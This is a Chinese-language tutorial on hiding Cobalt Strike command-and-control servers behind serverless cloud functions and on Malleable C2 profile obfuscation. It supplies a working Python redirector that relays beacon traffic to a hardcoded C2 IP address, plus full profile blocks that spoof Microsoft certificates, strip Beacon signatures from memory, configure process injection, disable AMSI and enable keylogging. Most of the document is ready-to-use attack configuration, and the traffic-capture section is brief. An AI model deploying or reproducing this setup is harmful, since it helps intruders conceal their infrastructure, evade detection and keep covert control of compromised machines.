云函数利用&Profile混淆
字数 1216 2025-08-20 18:18:23

云函数利用与Profile混淆技术详解

一、云函数利用技术

1. 云函数概述

云函数(Serverless Cloud Function)是云服务商提供的无服务器执行环境,无需购买和管理服务器即可运行代码。主要服务商包括:

  • 阿里云函数计算
  • 腾讯云函数
  • 华为云函数
  • 百度云函数
  • 移动云函数
  • 天翼云函数
  • 字节跳动轻服务
  • AWS Lambda
  • Google Firebase
  • Azure Function

2. 利用场景

  1. 隐藏上线服务器IP
  2. 绕过域名白名单限制出网上线

3. 百度智能云函数利用实战

第一步:基础配置

  1. 注册账号并完成实名认证
  2. 创建函数,选择"空白函数"
  3. 函数环境选择Python3
  4. 配置HTTP触发器:
    • 设置URL路径(需注意CS每次请求路径随机,需做好正则匹配)
    • 选择HTTP方法并提交

第二步:函数代码配置

# -*- coding: utf-8 -*-
import json,requests,base64

def handler(event, context):
    C2='https://110.40.213.80:443'  # C2服务器地址,可使用HTTP/HTTPS
    path=event['path']
    headers=event['headers']
    print(event)
    
    if event['httpMethod'] == 'GET':
        resp=requests.get(C2+path,headers=headers,verify=False)
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)
    
    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

关键点说明

  1. 触发器域名仅支持HTTPS
  2. C2监听器配置需与脚本中的协议、端口一致
  3. 优势:
    • 绕过域名白名单限制
    • 隐藏C2真实IP
    • 中间流量仅显示云函数域名

二、Profile混淆技术

1. Profile概述

Cobalt Strike使用profile配置文件生成Beacon有效负载,通过可延展C2配置文件语言设置值,用于混淆流量和内存。

2. 基础模板

# 全局选项
set sleeptime "10000";     # 睡眠时间(ms)
set jitter "0";           # 睡眠抖动时间(0-99%)
#set host_stage "false";  # 设置所有Payload为Stageless

# SSL证书配置
https-certificate {
    set C "US";                      # 国家代码
    set CN "Microsoft IT TLS CA 2";  # 通用名称
    set L "Redmond";                 # 城市
    set O "Microsoft Corporation";   # 组织
    set OU "Microsoft IT";           # 组织单位
    set ST "Washington";             # /
    set validity "365";              # 有效期
}

# 代码签名
code-signer{
    set keystore "cobaltstrike1.store"; 
    set password "password";
    set alias "certificate";
}

3. HTTP-GET配置

http-get {
    set uri "/login /config /admin /history"; # 自定义请求路径
    
    client {
        header "Accept" "*/*";
        header "Accept-Language" "en-US";
        header "Connection" "close";

        metadata {
            netbiosu;           # netbios(大写)编码
            append ".php";      # 追加参数尾缀
            parameter "file";   # 新增url参数
        }
    }

    server {
        header "Content-Type" "text/plain";
        output {
            base64;             # base64编码
            print;              # 输出到HTTP Body
        }
    }
}

4. HTTP-POST配置

http-post {
    set uri "/page= /index=";   # 不能与GET路径相同
    
    client {
        header "Accept" "*/*";
        header "Accept-Language" "en";
        header "Connection" "close";     
        
        id {
            netbios;
            append ".php";
            uri-append;         # 追加到url末尾
        }
        
        output {
            base64;   
            print;
        }
    }

    server {
        output {
            base64;
            print;
        }
    }
}

5. 流量侧分析

  1. Wireshark抓包

    • DNS流量可见云函数地址
    • 可通过请求/返回包大小区分心跳和行为流量
    • 传输内容HTTPS加密
  2. BurpSuite抓包

    • 可看到profile设置的URL、Header等信息
    • 指定Cookie字段存放元数据
    • 返回包内容与profile配置一致

6. 主机侧配置

stage标签配置

set userwx "false";        # 内存属性,falseRX
set cleanup "true";       # 抹去内存中的反射DLL
set sleep_mask "true";     # 对数据和代码进行异或加密
set stomppe "true";        # 混淆MZPE等关键字
set obfuscate "true";      # 混淆DLL导入表、区段名
set smartinject "true";    # 智能注入,避免异常

// PE头部混淆
set checksum "0";
set compile_time "11 Nov 2014 06:18:30";
set entry_point "650688";
set image_size_x86 "4661248";
set image_size_x64 "4661248";
set name "srv.dll";
set magic_pe "LE";
set rich_header "\\x3e\\x98\\xfe...";

// 替换反射DLL中的固定字符
transform-x86 {
    prepend "\\x90\\x90\\x90";
    strrep "ReflectiveLoader" "";
    strrep "beacon.dll" "";
    strrep "This program cannot be run in DOS mode" "";
}

process-inject标签

process-inject {
    set allocator "VirtualAllocEx";  # 远程内存分配技术
    set min_alloc "7814";           # 最小内存分配值
    set userwx "false";             # 内存不应具有RWX权限
    set startrwx "false";           # 注入前内存不应RWX

    transform-x86 {
        prepend "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"; # NOP指令
    }

    transform-x64 {
        prepend "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"; # NOP指令
    }

    execute {
        CreateThread "ntdll.dll!RtlUserThreadStart+0x2285";
        NtQueueApcThread-s;
        SetThreadContext;
        CreateRemoteThread;
        CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";
        RtlCreateUserThread;
    }
}

post-ex标签

post-ex {
    set spawnto_x86 "%windir%\\\\syswow64\\\\svchost.exe";  # 32payload
    set spawnto_x64 "%windir%\\\\sysnative\\\\svchost.exe"; # 64payload
    set obfuscate "true";           # 混淆post-ex DLLs
    set pipename "srvsvc-1-5-5-0####"; # 命名管道名称
    set smartinject "true";         # 传递关键函数指针
    set amsi_disable "true";         # 禁用AMSI
    set keylogger "SetWindowsHookEx"; # 键盘记录方法
}

三、参考资源

  1. 官方profile配置模板:https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm#_Toc65482834
  2. Malleable C2项目:https://github.com/threatexpress/malleable-c2
  3. 流量profile配置参考:https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/malleable-c2#http-get
  4. 后渗透标签参考:https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/malleable-c2#malleable-pe-process-injection-and-post-exploitationbeacon-hang-wei
云函数利用与Profile混淆技术详解 一、云函数利用技术 1. 云函数概述 云函数(Serverless Cloud Function)是云服务商提供的无服务器执行环境,无需购买和管理服务器即可运行代码。主要服务商包括: 阿里云函数计算 腾讯云函数 华为云函数 百度云函数 移动云函数 天翼云函数 字节跳动轻服务 AWS Lambda Google Firebase Azure Function 2. 利用场景 隐藏上线服务器IP 绕过域名白名单限制出网上线 3. 百度智能云函数利用实战 第一步:基础配置 注册账号并完成实名认证 创建函数,选择"空白函数" 函数环境选择Python3 配置HTTP触发器: 设置URL路径(需注意CS每次请求路径随机,需做好正则匹配) 选择HTTP方法并提交 第二步:函数代码配置 关键点说明 触发器域名仅支持HTTPS C2监听器配置需与脚本中的协议、端口一致 优势: 绕过域名白名单限制 隐藏C2真实IP 中间流量仅显示云函数域名 二、Profile混淆技术 1. Profile概述 Cobalt Strike使用profile配置文件生成Beacon有效负载,通过可延展C2配置文件语言设置值,用于混淆流量和内存。 2. 基础模板 3. HTTP-GET配置 4. HTTP-POST配置 5. 流量侧分析 Wireshark抓包 : DNS流量可见云函数地址 可通过请求/返回包大小区分心跳和行为流量 传输内容HTTPS加密 BurpSuite抓包 : 可看到profile设置的URL、Header等信息 指定Cookie字段存放元数据 返回包内容与profile配置一致 6. 主机侧配置 stage标签配置 process-inject标签 post-ex标签 三、参考资源 官方profile配置模板:https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_ main.htm#_ Toc65482834 Malleable C2项目:https://github.com/threatexpress/malleable-c2 流量profile配置参考:https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/malleable-c2#http-get 后渗透标签参考:https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/malleable-c2#malleable-pe-process-injection-and-post-exploitationbeacon-hang-wei